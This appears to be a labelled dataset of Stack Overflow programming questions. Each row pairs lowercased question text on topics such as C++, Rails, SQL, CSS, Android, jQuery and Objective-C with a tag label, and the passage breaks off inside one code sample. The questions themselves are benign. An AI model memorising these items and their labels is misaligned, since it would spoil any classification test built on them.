rely on data member initialization to happen  suppose a class <code>d</code> maintaining a vector of objects of class <code>c</code>  and suppose that the first three elements of the vector shall be accessible through data members <code>field0 .. field2</code>  which are references to objects of class <code>c</code>.    if we initialise data members <code>field0 .. field2</code> at the point of their declaration  and none of the constructors of <code>d</code> uses explicit mem-initializer lists  is it guaranteed that the data members will always be initialised with a correct reference to the objects held in the vector (if we consider subclassing  copying  moving  ... an object of class <code>d</code>)     note that the question is not about the order of initialization but more on  can anything in the use of class d (including subclassing) prevent the data members from being initialised     <pre><code>class c{ };  class d{ protected:     std::vector&lt;c&gt; myc = std::vector&lt;c&gt;(3); public:     c &amp;field0 = myc[0];     c &amp;field1 = myc[1];     c &amp;field2 = myc[2];      d () {};  // no mem-initializers }; </code></pre>,c++
rails model attribute ensure uniqueness except for certain value  in rails  i could restrict certain attribute to be unique within scope but pass on nil or blank. how could i ensure uniqueness but pass on certain value     i encrypted an attribute  so it s not nil anymore. but i do allow nil for this attribute in the model.,ruby-on-rails
typeerror - can t convert hash into integer: activerecord (4.2.6)  i migrate my application from rails 3.2.13 to 4.2.6  when i tried to run the application and submit the form  this is the error i am getting:   <blockquote>    typeerror - can t convert hash into integer:   activerecord (4.2.6)   lib/active_record/connection_adapters/abstract/database_statements.rb:325:in   <code>sanitize_limit    activerecord (4.2.6)   lib/active_record/relation/query_methods.rb:872:in</code>build_arel <br>   activerecord (4.2.6)   lib/active_record/relation/query_methods.rb:858:in <code>arel <br>   activerecord (4.2.6) lib/active_record/relation.rb:639:in   </code>exec_queries    activerecord (4.2.6)   lib/active_record/relation.rb:515:in <code>load    activerecord (4.2.6)   lib/active_record/relation.rb:243:in</code>to_a    activerecord (4.2.6)   lib/active_record/relation/finder_methods.rb:500:in   <code>find_nth_with_limit    activerecord (4.2.6)   lib/active_record/relation/finder_methods.rb:125:in</code>first <br>   activerecord (4.2.6) lib/active_record/querying.rb:3:in <code>first <br>   orm_adapter (0.0.7) lib/orm_adapter/adapters/active_record.rb:42:in   </code>get    devise (1.4.9) lib/devise/models/authenticatable.rb:90:in   <code>serialize_from_session    devise (1.4.9)   lib/devise/rails/warden_compat.rb:27:in</code>deserialize    warden (1.0.6)   lib/warden/session_serializer.rb:31:in <code>fetch    warden (1.0.6)   lib/warden/proxy.rb:182:in</code>user    warden (1.0.6)   lib/warden/proxy.rb:278:in <code>_perform_authentication    warden (1.0.6)   lib/warden/proxy.rb:90:in</code>authenticate    devise (1.4.9)   lib/devise/controllers/helpers.rb:53:in <code>current_user    devise   (1.4.9) lib/devise/controllers/helpers.rb:49:in</code>user_signed_in  <br>   app/controllers/application_controller.rb:102:in `set_user_time_zone   </blockquote>   this is my method in the controller code:   <pre><code>def set_user_time_zone   time.zone = current_user.time_zone if user_signed_in  end </code></pre>   does i need to modify this method or add any piece of code in my config  please help.,ruby-on-rails
can a primary key contain more than one columns  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3767257/is-this-possible-to-made-two-primary-key-in-one-table >is this possible to made two primary key in one table</a>    </blockquote>     is it possible to define a primary key on more than one columne in mysql      how is this indicated in a <code>create table</code> statement,sql
best way to declare and collect data  i m using the data attribute to pass data with links but it happens very often that this kind of declaration becomes redundant e.g i have an array for images that i iterate through and display on the screen. each of them have an image id and a set of options presented as links. im passing the image_id in a data attribute right now in each link. but there has to be a way to only declare the image_id once and then collect this data when clicking one of the links associated with the image.   <pre><code>    for($i = 0; $i &lt;= ($image_array_length - 1); $i++){  &gt;  &lt;img src= somesrc  /&gt;  &lt;a href= #  data-image_id= &lt; php echo $image[ image_id ];  &gt; &gt;image option 1&lt;/a&gt; &lt;a href= #  data-image_id= &lt; php echo $image[ image_id ];  &gt; &gt;image option 2&lt;/a&gt; &lt;a href= #  data-image_id= &lt; php echo $image[ image_id ];  &gt; &gt;image option 3&lt;/a&gt;  &lt; php } &gt; </code></pre>   so instead of having to declare the image id for each link i would like to have something like this:   <pre><code>    for($i = 0; $i &lt;= ($image_array_length - 1); $i++){  &gt;  &lt;img src= somesrc  id= data-placeholder  data-image_id= &lt; php echo $image[ image_id ];  &gt;  /&gt;  &lt;a href= #  class= js-selector &gt;image option 1&lt;/a&gt; &lt;a href= #  class= js-selector &gt;image option 2&lt;/a&gt; &lt;a href= #  class= js-selector &gt;image option 3&lt;/a&gt;  &lt; php } &gt; </code></pre>   but the problem i m facing is that there are several images and each of them will have the same id on the img element that means that i cant identify the specific image_id. so in javascript:   <pre><code>$( .js-selector ).click(function(){     var image_id = $( #placeholder ).data( image_id );     some statements... }); </code></pre>   how should javascript know which image_id to collect if i want to declare the image_id as in the second html example,html
css form element alignment  i have a html form(asp.net mvc). the input textboxes are wrapped in a div with a class name of editor-field. example html:   <pre><code>&lt;div class= editor-field &gt; &lt;input id= employeeno  type= text  value=   name= employeeno &gt; &lt;/div&gt; </code></pre>   the style for the editor-field class is:   <pre><code>.display-field  .editor-field  {    float: left; } </code></pre>   the textboxes are all way of to the right  how can i get it to be closer to the labels  i ve tried adding margins and padding  but it doesnt work.,css
"how working new clappr player or html 5 player on chrome android   i m using bellow code on my live streaming website and i need code supports web &amp; mobile device .    i use this but its now working mobile device     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script type= text/javascript  src= https://cdn.jsdelivr.net/clappr/latest/clappr.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= https://cdn.jsdelivr.net/clappr.level-selector/latest/level-selector.min.js &gt;&lt;/script&gt;
 
 
 &lt;style&gt;
 #oper {
 position:absolute;
  height:100%;
  width:100%;
 z-index:999999999999999999999999999999999; 
 }
 &lt;/style&gt;
 
 
 
 &lt;/head&gt;
 &lt;body style= margin:0px;padding:0px; &gt;
 &lt;div id= ppp &gt;&lt;/div&gt;
 &lt;script&gt;
 var id = 342610; 
 var num  = 2503553;
 var playerelement = document.getelementbyid( ppp ); 
 var player = new clappr.player({
 source:  http://gogole.com/m3u8   
  height:  100%  
  width:  100%  
 parentid:  #ppp  
 plugins: [levelselector] 
 mimetype:  application/x-mpegurl  
 autoplay: true 
 watermark:  /tv.png   position:  top-right 
 });
 &lt;/script&gt;</code></pre>
 </div>
 </div>",html
bad receiver type  nsstring *_strong *  i have a code that defines every letter in the alphabet (twice  actually). it also sets it to a table. however  it is giving me the error   bad receiver type  nsstring *_strong *    <pre><code>#import  editcodetable.h   @implementation editcodetable  nsstring *everything[63]; nsstring *everything2[63];  -(void) seteverythings {     for (int i = 1; i &lt; 26; i++) {         nsstring *a = [nsstring stringwithformat:@ %c   i+97];         everything[i]=a;         everything2[i]=a;     } }  - (nsinteger)numberofrowsintableview:(nstableview *)atableview {     return 63; }  - (id)tableview:(nstableview *)atableview objectvaluefortablecolumn:(nstablecolumn *)atablecolumn row:(nsinteger)rowindex {     if ([atablecolumn.identifier isequaltostring:@ row1 ]){         [self seteverythings];         return [everything2 objectatindex:rowindex]; //error message appears here         }         return [everything objectatindex:rowindex]; //error message appears here }  @end </code></pre>   i m not good with objective-c  so i don t know where to start to fix this.,objective-c
how to join three or more tables in mysql  i have three tables and i want retrieve values from them for which i use following query which gives me error  can anybody tell me what s wrong    <pre><code>select a.visitor_text a.company_text a.contact a.person_to_meet a.department_text a.floor b.belonging_t ype b.belonging_text  a.intime  c.exit_time from tm_visitor a  left join tm_belonging b   tm_exit c on a.id=b. bid and a.id=c.id; </code></pre>,mysql
how to check when marquee has finished looping  (dynamically)  crafted this real quick for an example:   <pre><code>e = document.getelementbyid( stackme ); ticker=0; checkloop = setinterval(function(){     console.log(e);     ticker++;     if(ticker &gt; 5){         clearinterval(checkloop);     }  }  100); </code></pre>   see on jsfiddle : <a href= http://jsfiddle.net/jzau7bhf/1/  rel= nofollow >http://jsfiddle.net/jzau7bhf/1/</a>    now  i could simply just use that code above and it times perfectly with that given text. problem is.. if that text is let s say.. over 2000 characters long  this script wouldn t be accurate and the timing would be off.     with that said  is it possible to check if the <code>&lt;marquee&gt;</code> attribute has finished looping,javascript
what is the output created when constructing an instance of an object  suppose the following code runs without error:    <img src= https://i.stack.imgur.com/vi5ku.png  alt= enter image description here >    and suppose that in some other class we have a main method: <code>a var1 = new c();</code>    i was given these two questions which i answered wrong:    <strong>1) what output will be created by constructing that instance of c </strong>    my answer to this was <em>some</em>  and i thought it was this because it says <code>new c();</code>  so it creates a new c object and in the constructor in that class it prints <em>some</em>. but i was wrong  the correct answer was one here some. this doesn t make sense to me  and i don t really know how that was possible.    <strong>2) which method is called if the method call <code>((b) var1).report()</code> is used.</strong>    my answer to this was the method report in the b class. i thought this was the correct answer because var1 is casted with b so i assumed that it will use the method in the b class. but i was wrong for this as well. the correct answer was the method in the c class. this doesn t make sense to me either.    this was very confusing and i don t really know how to get those answers. if someone could explain to me what exactly is happening and how they got that answer that would be really appreciated.,java
how to select the second child using parent jquery  i have the following structure   <pre><code>&lt;div class= a &gt;     &lt;button type= button  class= btn btn-default btn-sm  id= proccesing-btn-down &gt;...&lt;/button&gt;     &lt;button type= button  class= btn btn-default btn-sm  id= proccesing-btn-up  style= display: none; &gt;...&lt;/button&gt; &lt;/div  </code></pre>   i have an <code>onclick</code> function that while clicking on the <code>proccesing-btn-down</code> i want to hide the up button and show the down one.   <pre><code>$(this).hide(); var btn = $(this).parent().$( #proccesing-btn-up ); $(btn).show(); </code></pre>   hiding this - is working. what is the problem on the second and third line,jquery
email validation for combination of chars  numbers and only one @ symbol and not more than two . (dots)  can anyone help me with the following:    i need email validation regex epression for combination of chars  numbers and only one @ symbol and not more than two . (dots).,c#
php multiple conditions in select option  selected   i have a drop-down list in a form  and i m trying to make texas selected when <code>prop_state</code> is tx and <code>firmid</code> is not 1  and to select tx - mm referral when <code>prop_state</code> is tx and <code>firmid</code> is 1. i ve tried a couple methods and it always selects texas. when <code>prop_state</code> is fl  it selects florida fine. just can t get it to select the third option when both conditions are met  and not sure where i ve gone wrong.   <pre><code>&lt;select name= contype  id= contype &gt;     &lt;option value= fl  &lt; php if($row[ prop_state ]== fl ) echo  selected ;  &gt;&gt;florida&lt;/option&gt;     &lt;option value= tx  &lt; php if($row[ prop_state ]== tx  &amp;&amp; $row[ firmid ]!= 1 ) echo  selected ;  &gt;&gt;texas&lt;/option&gt;     &lt;option value= txmm  &lt; php if($row[ prop_state ]== tx  &amp;&amp; $row[ firmid ]== 1 ) echo  selected ;  &gt;&gt;tx - mm referral&lt;/option&gt; &lt;/select&gt; </code></pre>,php
determining prime numbers  i m trying to write a function that determines whether a value is a prime number and then displays a message to provide the outcome. unfortunately  it doesn t work - no error messages displayed  and i can t see a logical reason why. ( for info  it calls a function numbers() which i have tested independently and it works - it provides a single positive integer). i m not very experienced in javascript  but have developed the below from learning online. any pointers in the right direction would be very much appreciated.   <pre><code>function validate() { var message =  this number is  ; var number; var value = numbers(); var indicator = true;  for (int i=2; i &lt;= value/2; i++) {    number = value % i;    if (number==0)  {       indicator = false;       //or indicator = number % 2 != 0;     break;    }  }   if (indicator) {  message +=  a prime number. ;  }  else {  message +=  not a prime number. ; }  document.getelementbyid( text ).innerhtml = message;   } </code></pre>,javascript
getting image from iphone gallery created on specific date  i want to display all the images from image gallery which are created on a particular date.is it possible,ios
beautifulsoup extract comment section  i wanted to extract an item inside a comment block like this one    <code>&lt;!-- stuff =  value ; ...</code>    the item be extracted is  value .    any suggestions on how i can achive that with regex in python,python
"how to transfer data from one controller existing object to the different controller in angular js  here is a simple demo html but the main concern is same that i had to transfer the current object of the ng-repeat   result.status  value to the other module working on a different controller and on a different partial html included on the main.html    hope i have clarified the situation here    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( one  [])
 .controller( myctrl  [function(){
  var thisone=this;
  thisone.item=[
   {id:1 name: harish  city: delhi  status:false} 
   {id:2 name: malkeet  city: delhi  status:true} 
   {id:3  name: anash  city: delhi  status:false}
   ];
  
  }]); 
 
 
 
 /*now the module two starts for the  different html*/
 angular.module( two  [])
 .controller( myctrl2  [function(){
  }]); </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;div ng-app= one &gt;
 &lt;div ng-controller= myctrl as prime &gt;
   &lt;div ng-repeat= result in prime.item &gt;
     &lt;p ng-bind= result.name &gt;&lt;/p&gt;
     &lt;p ng-bind= result.city &gt;&lt;/p&gt;
     &lt;ng-include src=  different.html  &gt;&lt;/ng-include&gt; 
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;
 
 &lt;!--different.html will be like this certain code--&gt;
 
 &lt;div ng-app= two &gt;
 &lt;div ng-controller= myctrl2 as omega &gt;
 &lt;p&gt;&lt;!--here i want to print the   result.status of myctrl --&gt;&lt;/p&gt;
   &lt;/div&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
change the order of the columns in mysql  i have a table with 5 columns  (title  hash  story  source  time  url)...    i want that  url  is the first column... how can i do that - that the table look like    (url  title  hash  story  source  time),mysql
two linearlayouts at same position  i want to add two linear layouts at same position with width same as parent. when i press button1 linearlayout1 should appear and on button2 linearlayout2 should appear. how to do this in android,android
is there a way to insert the output of an output  i am trying to find a way to take the output of data that has already been output and then re-insert (kind of an output/insert x 2)    here s the code i would use  can someone please let me know if there is a way around this    <pre><code>insert into table1 ( field1  field2  field3 ) output inserted.values1  inserted.values2  insertedvalues3 into table2 ( field1  field2  field3 )  output  inserted.values1  inserted.values2  insertedvalues3 -- from table2 into table3 ( field1  field2  field3 )  select values1  values2  values3 from mastertable </code></pre>,sql
after minify enabled true in gradle apk not working properly  when i set <code>minifyenabled false</code> apk runs properly but when i set <code>minify enabled true</code> in release mode in gradle file various error and warning is showing and signed apk is not properly.    this is the problem   <blockquote>    warning:library class android.test.androidtestrunner extends or implements program class junit.runner.basetestrunner   warning:library class android.test.androidtestcase extends or implements program class junit.framework.testcase   warning:library class android.test.instrumentationtestcase extends or implements program class junit.framework.testcase   warning:library class android.test.instrumentationtestsuite extends or implements program class junit.framework.testsuite   warning:library class android.test.suitebuilder.testsuitebuilder$failedtocreatetests extends or implements program class junit.framework.testcase   warning:org.junit.internal.runners.statements.failontimeout: can t find referenced class java.lang.management.managementfactory   warning:org.junit.internal.runners.statements.failontimeout: can t find referenced class java.lang.management.threadmxbean   warning:org.junit.internal.runners.statements.failontimeout: can t find referenced class java.lang.management.managementfactory   warning:org.junit.internal.runners.statements.failontimeout: can t find referenced class java.lang.management.threadmxbean   warning:org.junit.rules.disableondebug: can t find referenced class java.lang.management.managementfactory   warning:org.junit.rules.disableondebug: can t find referenced class java.lang.management.runtimemxbean   warning:org.junit.rules.disableondebug: can t find referenced class java.lang.management.managementfactory   warning:org.junit.rules.disableondebug: can t find referenced class java.lang.management.runtimemxbean   warning:there were 10 unresolved references to classes or interfaces.            you may need to add missing library jars or update their versions.            if your code works fine without the missing classes  you can suppress            the warnings with  -dontwarn  options.            (<a href= http://proguard.sourceforge.net/manual/troubleshooting.html#unresolvedclass  rel= nofollow noreferrer >http://proguard.sourceforge.net/manual/troubleshooting.html#unresolvedclass</a>)   warning:there were 5 instances of library classes depending on program classes.            you must avoid such dependencies  since the program classes will            be processed  while the library classes will remain unchanged.            (<a href= http://proguard.sourceforge.net/manual/troubleshooting.html#dependency  rel= nofollow noreferrer >http://proguard.sourceforge.net/manual/troubleshooting.html#dependency</a>)   warning:exception while processing task java.io.ioexception: please correct the above warnings first.   :app:transformclassesandresourceswithproguardforrelease failed   error:execution failed for task  :app:transformclassesandresourceswithproguardforrelease .   java.io.ioexception: please correct the above warnings first.   information:build failed   information:total time: 5.962 secs   information:1 error   </blockquote>   my gradle is:   <pre><code>apply plugin:  com.android.application   android { compilesdkversion 22 buildtoolsversion  22.0.0     defaultconfig {     multidexenabled true     applicationid  com.newsreader.sitl      minsdkversion 16     targetsdkversion 22     versioncode 1     versionname  1.0      manifestplaceholders = [manifestapplicationid          :  ${applicationid}                               onesignal_app_id               :  47642d28-5e08-40c7-ae54-9db8f39f2cbd                               onesignal_google_project_number:  660750131316 ] } buildtypes {     release {         debuggable true         shrinkresources false         minifyenabled true         proguardfiles getdefaultproguardfile( proguard-android.txt )  proguard-rules.pro      }  } } dependencies { compile filetree(include: [ *.jar ]  dir:  libs ) testcompile  junit:junit:4.12  compile project( :pulltorefreshlibrary ) compile project( :aphidflipviewlibrary ) compile files( libs/youtubeandroidplayerapi.jar ) compile project( :volleynew ) compile  com.android.support:appcompat-v7:22.0.0  compile  com.google.code.gson:gson:2.2.4  compile  com.android.support:support-v4:22.0.0.  compile  ch.acra:acra:4.9.0  compile  com.google.android.gms:play-services-ads:9.2.0  compile  com.google.android.gms:play-services-analytics:9.2.0  compile  com.onesignal:onesignal:3.+@aar  compile  com.google.android.gms:play-services-gcm:9.2.0  compile  com.google.android.gms:play-services-location:9.2.0  compile  org.greenrobot:eventbus:3.0.0  compile  com.squareup.picasso:picasso:2.5.2  compile  com.squareup.okhttp:okhttp:2.0.+  compile  com.squareup.okhttp:okhttp-urlconnection:2.0.+  compile  com.squareup.okio:okio:1.0.0  compile  junit:junit:4.12  } apply plugin:  com.google.gms.google-services  </code></pre>   progaurd-rules.pro is:   <pre><code>-keep public class * extends android.app.activity  -keep public class * extends android.app.application  -keep public class * extends android.app.service  -keep public class * extends android.content.broadcastreceiver  -keep public class * extends android.content.contentprovider  -dontwarn </code></pre>,android
reuse css class  i should have asked this in my previous question (<a href= https://stackoverflow.com/questions/14898852/css-style-declaration-reusage >css style declaration reusage</a>)  but i didn t think of it at the time. since that question is answered  i ll start a new one.    i am trying to create color palette in css that will be used through out my application.  for example:   <pre><code>.blue  { color: #434544; } .green { color: #g99933; } </code></pre>   i do not want to define colors anywhere else in my css. the problem i am running into is how do i use the <code>.blue</code> style when  for example  i need a <code>background-color</code> definition  take a look at this:   <pre><code>.editor { background-color: #434544 }    </code></pre>   i want to reference back to the <code>.blue</code> style instead of defining it here again.  how can i do that     <strong>update</strong> i found the perfect solution for my question:  chirpy -> <a href= http://chirpy.codeplex.com/  rel= nofollow noreferrer >http://chirpy.codeplex.com/</a>,css
.net 4 single application instance  i often write .net applications that only support one instance. formerly i used .net-remoting and now wcf to detect if already an instance of my app is running and giving the focus to this instance.     my question is  if there is with .net4 a better solution available to achieve single instance applications (or is there in general a better solution available  because loading the wcf or remoting assembly at the very start of the application has a bad performance influence)    <strong>update</strong>    thanks for all the post. the answer to my initial question seems to be “<strong>no  there is nothing new to achieve single instance applications within .net 4</strong>”.     thanks to all the additional information  i will change my current projects to use a mutex to provide the desired functionality.  i accepted the answer  of bob moore because it has the most information attached to it  but thanks to all who posted useful information.,.net
change the colour of the app using alarm  i want to change the color and background of all the buttons and layouts in my android app as soon as it strucks 12am(i.e the day changes)    i should be able to do this using a alarm   whenever the alarm gives a feedback    or im calling a function it should change the colors &amp; backgrounds but its not working.   <pre><code>    calendar calendar = calendar.getinstance();     calendar.set(calendar.hour_of_day  15);     calendar.set(calendar.minute  53);     calendar.set(calendar.second  0);     alarmmanager am = (alarmmanager) getapplicationcontext()             .getsystemservice(context.alarm_service);     intent intent = new intent(getapplicationcontext()  mainactivity.class);     pendingintent pi = pendingintent.getbroadcast(getapplicationcontext()              0  intent  pendingintent.flag_update_current);     btn.setbackgroundcolor(color.blue);     rlbase.setbackgroundcolor(color.green);      am.setrepeating(alarmmanager.rtc_wakeup  calendar.gettimeinmillis()              alarmmanager.interval_day   pi); </code></pre>   right now im changing these button color and background only but i intend to call a method from this alarm.    need some help    thanks,android
javascript file changes deployment  we are having mvc web application. some of the code is in javascript. when we deploy any changes to the javascript  the changes are not reflected on the client side. we have to ask clients to do ctrl+f5 to get the changes. is there a standard way of pushing javascript changes to the client side,javascript
adding labels or edit boxes as actions of buttons in c#   i am using visual basic c# 2010 and i want to create a form for shape drawing with three shapes possible namely line rectangle  ellipse. initially i display only three buttons with text as  line     rectangle    ellipse . according to which button i click on  i want labels and edit boxes to appear asking for properties of the shape to draw. for example  if i click on line  i want the label asking for length to appear. and if i have clicked on rectangle  i want the label asking for length and breadth to appear only. so how can i implement these labels as actions of specific button        i have written this code and my previous problem of how to ask for user input differently for different button clicks is resolved.thanks to repliers! now in this code only thing remaining is to create an area where the shape would be drawn.i cant understand how to do it.can anyone help  why the shape is not getting drawn  please note that i want to draw the shape on original form and not the pop up form. please help.    <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace shapedrawing {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          public abstract class shape         {             public pen mypen = new pen(color.brown  3.5f);             public abstract void getparameters();             public abstract void drawshape(form1 e);         }          public class line : shape         {             float x1 x2 y1 y2;             public override void getparameters()             {                 popforline popup = new popforline();                 dialogresult dialogresult = popup.showdialog();                 if (dialogresult==dialogresult.ok)                 {                     try                     {                         this.x1 = (float)convert.todouble(popup.point1xtext.text);                         this.y1 = (float)convert.todouble(popup.point1ytext.text);                         this.x2 = (float)convert.todouble(popup.point2xtext.text);                         this.y2 = (float)convert.todouble(popup.point2ytext.text);                     }                     catch(exception e)                      {                         x1=x2=y1=y2=0;                     }                 }                  popup.dispose();             }             public override void drawshape(form1 e)              {                 graphics formgraphics=e.creategraphics();                 formgraphics.drawline(mypen x1 y1 x2 y2);                 formgraphics.dispose();             }         }          class rectangle : shape         {             float length  breadth;             public override void getparameters()             {                 popforrect popup = new popforrect();                 dialogresult dialogresult = popup.showdialog();                 if (dialogresult == dialogresult.ok)                 {                     try                     {                         length = (float)convert.todouble(popup.lengthtext.text);                         breadth =(float) convert.todouble(popup.breadthtext.text);                     }                     catch (exception e)                      {                         length = 0;                         breadth = 0;                     }                 }                 popup.dispose();             }              public override void drawshape(form1 e)              {                 graphics formgraphics = e.creategraphics();                 formgraphics.drawrectangle(mypen  0  0  length breadth);                 formgraphics.dispose();                          }         }          class ellipse : shape         {             float radius1  radius2;             public override void getparameters()             {             popforellipse popup = new popforellipse();             dialogresult dialogresult = popup.showdialog();             if (dialogresult == dialogresult.ok)             {                 try                 {                     this.radius1 = (float)convert.todouble(popup.sradtext.text);                     this.radius2 = (float)convert.todouble(popup.lradtext.text);                 }                 catch (exception e)                 {                     radius1 = 0;                     radius2 = 0;                 }             }             popup.dispose();         }         public override void drawshape(form1 e)         {             graphics formgraphics = e.creategraphics();             formgraphics.drawellipse(mypen  0  0  radius1  radius2);             formgraphics.dispose();         }     }      private void linebutton_click(object sender  eventargs e)     {         line myline = new line();         myline.getparameters();         myline.drawshape(this);         myline.mypen.dispose();     }      private void ellipsebutton_click(object sender  eventargs e)     {         ellipse myellipse = new ellipse();         myellipse.getparameters();         myellipse.drawshape(this);         myellipse.mypen.dispose();     }          private void rectbutton_click(object sender  eventargs e)         {             rectangle myrectangle = new rectangle();             myrectangle.getparameters();              myrectangle.drawshape(this);             myrectangle.mypen.dispose();         }     }  } </code></pre>,c#
python - hangman game with multiple letters in one word  i am new to python and have a problem with a hangman game that i was making. so i have a list called  current  which is filled with hyphens (-) the same amount of times as the length of the word the person is guessing. when they guess a letter correctly it replaces the hyphen with the letter in the correct place. the problem i have is that if there are 2 or more of the same letter in a word then it works for the first time the letter comes up but after that it will say the letter has already been guessed therefore it doesn t work and i cant figure out how to fix this.   <pre><code>current =  _  * len(theword) x = list(current) print (x)  guessed = []  while current != theword and lives &gt; 0:      print ( you have %d lives left  % lives)     guess = input( please input one letter or type  exit  to quit. )     guess = guess.lower()       if guess ==  exit :         break     elif guess in guessed:          print ( you have already guessed this letter  please try again. )        guessed.append(guess)      if guess in theword:         index = theword.find(guess)         x = list(current)         x[index] = guess         current =   .join(x)         print ( correct! \nyour guesses: %s  % (guessed))         print(x)       else:         print ( incorrect  try again )         lives = lives -1   if current == theword:     print ( well done  you have won! ) </code></pre>   thanks,python
unbind multiple classes except one  i have  n  different clasess   <pre><code> .classone  .classtwo  .classthree  .classfour    ....  .classn </code></pre>   i want to bind <code>.classtwo</code> &amp; unbind the rest except <code>.classone</code>  how should i do that    <pre><code>   $( #container ).off( click ); /*except classone*/   $( #container ).on( click.classtwo  function... </code></pre>   <strong>html</strong>   <pre><code>     &lt;div class= classone &gt;[show alert]&lt;/div&gt;      &lt;div class= classtwo &gt;[click dont show anything]&lt;/div&gt;      &lt;div class= classthree &gt;[show alert]&lt;/div&gt;      &lt;div class= classfour &gt;[show alert]&lt;/div&gt;      &lt;div class= classfive &gt;[show alert]&lt;/div&gt; </code></pre>   after clickin on this button  the click event deactivates for everyone excepts <code>classone</code> ...(if you click it it stills shous an alert) and at the same time <code>.classtwo</code> gets the capacity to show an alert after clicking   <pre><code>         &lt;div class= button &gt;[]&lt;/div&gt; </code></pre>   so  at the end the arrangement would be:   <pre><code>     &lt;div class= classone &gt;[show alert]&lt;/div&gt;      &lt;div class= classtwo &gt;[show alert]&lt;/div&gt;      &lt;div class= classthree &gt;[click dont show anything]&lt;/div&gt;      &lt;div class= classfour &gt;[click dont show anything]&lt;/div&gt;      &lt;div class= classfive &gt;[click dont show anything]&lt;/div&gt;.... </code></pre>,jquery
why printf is not called when invoked from sizeof operator <pre><code>char fun() {  char c =  a ;  printf( hello world );  return c; }  main() {  printf( %d   sizeof(fun())); } </code></pre>   the program s output is : <code>1</code> but my expectation is : <code>hello world1</code>    what s wrong,c
display name against column value in sql  i have a table called calls that contains some call logs and want to run a report that tells me how many times a phone number was used and location name instead of a serial number. the table is like this:   <pre><code>record#   phone     serial  1         1001      111111  2         1001      111111  3         1002      222222  4         1003      111111 </code></pre>   i ve got this so far:   <pre><code>select phone  count(phone) from calls group by phone </code></pre>   which gives me:   <pre><code>1001   2 1002   1 1003   1 </code></pre>   but i also want to include the serial but display it as a name so 111111 would be  london     i.e   <pre><code>1001   2  london 1002   1  glasgow 1003   1  london </code></pre>   is this possible     thanks,sql
how to connect to facebook  i have made a site in which i have to connect to facebook site such that when user click on registration form in my site then a popup will open of facebook site login page &amp; when he login in facebook site then he will login automatically in my site also. i have no idea how can i start this in my site.,php
jquery find links in block of text  i m using this to return the links in text.        <pre><code>$links = $( .scenetext ).find(  a  ).attr( href ); console.log($links); </code></pre>   it finds the first one  but none afterwards. there are 3 in this block of text. any idea how i make it find all the links in some text,jquery
sql having with count - not working  i have a taggings table. the relevant rows from that table for this questions are: tag_id and taggable_id. i want to select a taggable_id that has all the tag_id s. but this query comes empty:   <pre><code>select taggable_id          tag_id  from   taggings  where  tag_id in( 73  76 )         and taggable_id = 3238  group  by tag_id  having count(tag_id) = 2 </code></pre>   now  when i use the query withut the count  i get 2 rows as a result:   <pre><code>select taggable_id          tag_id  from   taggings  where  tag_id in( 73  76 )         and taggable_id = 3238  </code></pre>   why,sql
class specific arrays  i m making a simple opengl-engine and i need to be able to store series of integers for every class  containing animation frames.    example: i create the class dog. the dog has 3 animations consisting of a number of frame indexes  representing the frame s position in the texture atlas. in the class file i want to define these animations like this:   <pre><code>const int animations[3] = {     {1 2 3}  //walk     {4 5 6}  //jump     {1 7 8 9 10 11} //take a wiz }  @implementation... </code></pre>   this is ofc not proper obj-c  but is there a way to do something similar  every instance of dog will have the same animations so i dont want to waste memory by storing the animations in instance variables. if possible  i d like to avoid using nsarray s.    is there a way to store 2 dimensional  variable length arrays of ints like this at class level,objective-c
problem with unloading view. app get crashed  in my application    it do have tableview... with two rows.   <ol> <li>date.</li> <li>city.</li> </ol>   when selected date ...i load eventviewcontroller view which working well and good...     when getting back to my tableview and selected city my app get crashed    i do not see any thing in my console. its not showing any message.    what to do...    here is the code....     the for implementation......    but my app get crashed...   <pre><code>  #import  searchviewcontroller.h      #import  searchdetailviewcontroller.h      #import  eventviewcontroller.h       @implementation searchviewcontroller     @synthesize searchlistarray;     /*      // the designated initializer.  override if you create the controller programmatically and want to perform customization that is not appropriate for viewdidload.     - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {         if ((self = [super initwithnibname:nibnameornil bundle:nibbundleornil])) {             // custom initialization         }         return self;     }     */       // implement viewdidload to do additional setup after loading the view  typically from a nib.     - (void)viewdidload {         [super viewdidload];         uibarbuttonitem *barbutton=[[uibarbuttonitem alloc]initwithtitle:@ back  style:uibarbuttonitemstyleplain target:nil action:nil];         self.navigationitem.backbarbuttonitem=barbutton;         [barbutton release];         searchlistarray =[[nsmutablearray alloc]init];         [searchlistarray addobject:@ city ];         [searchlistarray addobject:@ populair ];         [searchlistarray addobject:@ date ];     }      - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {             // return the number of sections.         return 1;     }      - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {             // return the number of rows in the section.         return [searchlistarray count];     }          // customize the appearance of table view cells.     - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {         static nsstring *cellidentifier = @ cell ;          uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];          if (cell == nil) {             cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier] autorelease];             cell.selectionstyle= uitableviewcellselectionstyleblue;     //      cell.accessorytype=uitableviewcellaccessorydisclosureindicator;             cell.backgroundcolor=[uicolor bluecolor];             cell.textlabel.text=[searchlistarray objectatindex:indexpath.row];             switch (indexpath.row) {                 case 0:                     cell.accessorytype=uitableviewcellaccessorydisclosureindicator;                     break;                     case 2:                     cell.accessorytype=uitableviewcellaccessorydisclosureindicator;                     break;                  default:                     break;              }         }         return cell;      }     - (void)tableview:(uitableview 